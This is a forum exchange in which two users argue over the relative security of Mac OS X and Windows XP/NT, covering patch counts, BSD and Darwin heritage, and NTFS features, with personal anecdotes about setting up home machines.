Re:MacOS X itself?

[Big_Al_B]

Where do you base this argument...

You completely missed the point. I provided an arithmetic case example to make a simple point regarding the insufficient logical basis for your conclusion. I was showing how your "evidence" could be factual--Apple patched more than MS--but that no conclusion regarding the relative security of each operating system may be drawn without additional factual basis. In other words, no one, including you, can draw a logical conclusion from the datapoints you used to draw a conclusion. Period.

Both are fully patched, but wouldn't you question the design and safety of the boat that had 200 holes in the first place?

Maybe. But, wouldn't you agree that the nature and severity of the holes is likely to be at least as meaningul as the quantity of patches? If one boat had 200 minor to moderate leaks but its structure was consistently seaworthy, and the other boat had 50 moderate to major leaks at chronically weak spots in its hull, I'd choose to go to sea in the first boat. No question.

If you want to judge relative security based on comparing lists of patches, you *must* include severity data, including both the potential and realized impact, and the attack vectors.

I wasn't saying neither were unsafe or unpatched, but one HAD to be patched more than the other.

Wrong. The statements "One was patched more than the other," and, "One had to be patched more than the other," are not equivalent. The number of virii, worms, and other attack vectors in the wild for Windows indicates that it was patched less than it "had to be" to be secure.

TRUE - the Root abstraction for Users is a better method than what Windows Uses.

Great! I guess we're done and you've answered your own original question then...

Or not, apparently...

FALSE - Having a *nix heritage means little to NOTHING. In fact MS's NT team specifically designed NT NOT like *nix to avoid the shortcoming and security holes of the *nix model from the early 90s.

"[OS X's] UNIX heritage," and, "all *NIX implementations," are not equivalent either. BSD is pretty universally regarded as a very secure *NIX variant, as well as a extremely secure OS compared to Windows. Hence, OS X benefits from its FreeBSD underpinnings. Period. [See how annoying that is?]

This is true, this was also true of WIndows NT

You know NT. You love NT. You live NT. Fine. I get it.

This is not so much a fact...go read up...

Windows XP and OS X are the current defacto standard for PC and Mac computing, no? XP uses NTFS, which allows permission setting to the file level and encryption. OS X uses a BSD-based filesystem and CDSA to do the same things. XP Home, BTW, doesn't support encryption with NTFS, so...

And what's with XP Home and Simple File Sharing? Can't turn it off? That sucks, eh?

Refocusing now, how do you explain the 10s of thousands of exploit variants affecting Windows to the 10s of exploits affecting OS X if OS X is less secure? Answer, please.

Now, allow me a final anecdote: I just bought a ultra-cheap Dell for home use (XP Home) and set it up with an account for each family member. By default, none of the accounts even had a password. WTF? Firewalling wasn't enabled by default. W.T.F!?

Good thing I have a commercial-class firewall sitting in front of my home net.

You know what also pisses me off though? All the network-aware apps (including ipconfig.exe, ping.exe and tracert.exe) are hanging every time I run them--*except* IE, which will hum around the web just fine. But, if I boot to Safe Mode + Networking, all is well. Gyahhh!

In comparison, my Macs just f'ing worked perfectly out of the box and have never stopped. No viruses. No worms. No root-kits. No spyware beyond normal cookie crap. No wonky network problems. Nothing.

Oh well.

Happy Computing...

Re:MacOS X itself?

[TheNetAvenger]

I apologize for not having more time, so I will just hit the couple of things that jumped off the page.

OS X benefits from its FreeBSD underpinnings

Ok, you really don't understand what you are saying, or are intentionally trying to mislead people.

OSX is NOT BSD. It is using a BSD Interface to the kernel. PERIOD.

OSX is Darwin - there really is a BIG difference, and Darwin DOES NOT inherent the security and reliability of other BSD kernel interfacing variants. This is also true that FreeBSD and OpenBSD don't inherent each other's reliability or strengths. I wish people would quit confusing this.

OS X uses a BSD-based filesystem and CDSA to do the same things.

A) No... and B) they are NOT doing the same thing. Not even remotely the same.

Using your myopic view of NTFS, I could say FAT was the same as NTFS then too, because I could use ZIP encryption/compression on FAT... Which is completely WRONG, and misleading...

There is NO FS for OSX that natively supports all the features that NTFS does 'inherently'. Sure you can add features on to other good file systems, but then it isn't just the file system you have reference anymore, but the add-on as well.

Prove me wrong, I would welcome seeing a new FS technology. Find a FS that natively supports journalling, encryption, compression, security, meta-data, and is extensible with entry point code execution.

Go look this stuff up, these forums are not Operating System Architecture 101...

PS. To get past the 'simple file sharing, and simple security' on XP Home, just boot into safe mode and log in as an administrator. You will then have the full sharing and secuirty interface tools that are available in XP Professional, that normal home users don't really need to be playing with by default, but they are still there.

Re:MacOS X itself?

[Big_Al_B]

Ok, you really don't understand what you are saying, or are intentionally trying to mislead people.

I'm sure lying is not on my otherwise long list of character flaws, and I'm confident that I can hold my own with you regarding OS X, based on this thread. So, in short, I think you're wrong again.

OSX is NOT BSD. It is using a BSD Interface to the kernel. PERIOD.

OSX is Darwin - there really is a BIG difference, and Darwin DOES NOT inherent the security and reliability of other BSD kernel interfacing variants. This is also true that FreeBSD and OpenBSD don't inherent each other's reliability or strengths. I wish people would quit confusing this.

Darwin evolved from FreeBSD, which is, in fact, BSD. The industry almost ubiquitously respects BSD, in all its variants, with regard to stability and security. I don't know why you brought up OpenBSD specifically, other than you assumed incorrectly that I'm unaware of that project's highlighted focus on security beyond that of other BSD strains.

Yes, Darwin is the interface to the MACH kernel. And?

I'm no file system expert and I have no interest in becoming one. I'm a network operator, not a server or workstation guru. I've developed for OS X, and I have taken an effort, with this discussion, to study a bit of NTFS. I still haven't found anything that moves it beyond the current default OS X file system with journalling. Honestly, you probably know better, and good for you.

I have a network to tend to, so you have a good weekend and keep those servers humming. PERIOD. :)